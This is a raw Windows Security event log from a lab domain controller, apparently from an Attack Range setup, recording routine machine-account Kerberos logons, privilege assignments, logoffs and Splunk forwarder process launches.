-RecordNumber=256301 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E2823 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256300 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E27DB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256299 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E27DB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256298 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E26CD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51416 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256297 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E26CD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256296 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256309 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1178 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256308 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E26CD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256307 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E27DB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256306 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E2823 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256305 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E2D40 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51418 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256304 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E2D40 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256310 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256311 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256312 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256313 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E2D40 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256316 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E5316 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256315 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E5316 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51428 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256314 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E5316 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:13:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256317 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x718 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256319 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256318 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256320 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256321 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:13:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256322 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a 